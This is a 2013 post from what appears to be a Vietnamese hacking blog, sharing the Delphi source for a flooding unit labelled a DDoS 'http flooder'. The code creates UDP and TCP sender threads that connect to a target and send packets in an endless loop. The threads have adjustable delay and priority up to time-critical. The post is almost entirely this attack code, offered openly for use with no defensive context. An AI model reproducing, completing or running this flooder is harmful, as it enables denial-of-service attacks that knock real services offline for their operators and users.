[SRC] Delphi DDoS ~ Blog Hacking Security | Blog Thủ Thuật | Blog UG [SRC] Delphi DDoS

Saturday, May 25, 2013

[SRC] Delphi DDoS

*Function :
http flooder

*Code
unit flooder;
 
interface
 
  uses
    Winsock, Classes, Dialogs, forms, Messages, Windows, SysUtils;
 
  type
  TUDPPacket = record
    socket: TSocket;
    Buffer: pAnsiChar;
    len,
    flags : integer;
    addrTo: TSockAddr;
    toLen : integer;
  end;
  //structure of a UDP packet
 
  type
  TTCPPacket = record
    socket: TSocket;
    buffer: pAnsiChar;
    len,
    flags : integer;
    addrTo: TSockAddr;
  end;
  //structure of a TCP packet
 
  type
  TUDPThread = class(TThread)
 
    strict private
    FSent,
    FDelay : integer;
    uPacket: TUDPPacket;
 
    procedure SetDelay(Value: integer);
 
    public
    property Sent : Integer read FSent;
    property Delay: Integer read FDelay write SetDelay;
 
    constructor create(startSuspended: boolean;  Priority: integer; udpPacket: TUDPPacket); overload; //Create New Thread Proc
    destructor destroy; override; //Method to destroy thread
    procedure execute; override; //execute the thread
 
  end;
  //thread for sending UDP Packets
 
  type
  TTCPThread = class(TThread)
 
    strict private
    FSent,
    FDelay : integer;
    tPacket: TTCPPacket;
 
    procedure SetDelay(Value: integer);
 
    public
    property Sent : Integer read FSent;
    property Delay: Integer read FDelay write SetDelay;
 
    constructor create(startSuspended: boolean;  Priority: integer; tcpPacket: TTCPPacket); overload; //Create New Thread Proc
    destructor destroy; override; //Method to destroy thread
    procedure execute; override; //execute the thread
 
  end;
  //thread for sending TCP Packets
 
  var
    WSAData: TWSAData;
 
implementation
 
//////////////////////////////////////// TUDPThread \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
constructor TUDPThread.create(startSuspended: Boolean; Priority: integer; udpPacket: TUDPPacket);
begin
  inherited Create(startSuspended); //create the thread by calling the original create method
  freeOnTerminate := true; //when the thread is destroyed, free it
  uPacket := udpPacket; //set "uPacket" variable with "udpPacket" parameter
  case Priority of
    0:
       self.priority := tpIdle;
    1:
       self.priority := tpLower;
    2:
       self.priority := tpLowest;
    3:
       self.priority := tpNormal;
    4:
       self.priority := tpHigher;
    5:
      self.priority := tpHighest;
    6:
      self.priority := tpTimeCritical;
  end; //set the thread's priority using the priority parameter
end;
 
destructor TUDPThread.destroy;
begin
  FSent := 0;
  closeSocket(uPacket.socket);
  inherited destroy; //call the original destructor method "destroy" which is self explanatory
end;
 
procedure TUDPThread.SetDelay(Value: Integer);
begin
  FDelay := Value;
end;
 
procedure TUDPThread.execute;
begin
  if (Connect(uPacket.socket, uPacket.addrTo, SizeOf(uPacket.addrTo)) = SOCKET_ERROR) then Terminate; //connect to host otherwise terminate
  while (not Terminated) do begin
    sendTo(uPacket.socket, uPacket.buffer[0], uPacket.len, uPacket.flags, uPacket.addrTo, uPacket.toLen); //send standard UDP packet
    if FDelay > 0 then Sleep(FDelay);
    inc(FSent);
  end;
end;
 
//////////////////////////////////////// TTCPThread \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
constructor TTCPThread.create(startSuspended: Boolean; Priority: Integer; tcpPacket: TTCPPacket);
begin
  inherited Create(startSuspended);
  freeOnTerminate := true;
  tPacket := tcpPacket;
  case Priority of
    0:
       self.priority := tpIdle;
    1:
       self.priority := tpLower;
    2:
       self.priority := tpLowest;
    3:
       self.priority := tpNormal;
    4:
       self.priority := tpHigher;
    5:
      self.priority := tpHighest;
    6:
      self.priority := tpTimeCritical;
  end;
end;
 
destructor TTCPThread.destroy;
begin
  FSent := 0;
  closeSocket(tPacket.socket);
  inherited destroy;
end;
 
procedure TTCPThread.SetDelay(Value: Integer);
begin
  FDelay := Value;
end;
 
procedure TTCPThread.execute;
begin
  if (Connect(tPacket.socket, tPacket.addrTo, SizeOf(tPacket.addrTo)) = SOCKET_ERROR) then Terminate;
  while not Terminated do begin
    send(tPacket.socket, tPacket.buffer[0], tPacket.len, tPacket.flags); //send standard TCP packet
    if FDelay > 0 then Sleep(FDelay);
    inc(FSent);
  end;
end;
 
/////////////////////////////////////////////////////////////////////////////////////////////////
initialization
begin
  // If network initialization does not succeed then raise an exception
  if not(WinSock.WSAStartup(257, WSAData) = 0) then
    messageDlg('Failed to initialise!', mterror, [mbok], 0);
end;
 
finalization
begin
  WSACleanup; //free WSAData
end;
 
end.

Newer Post Older Post Home

0 comments:

Post a Comment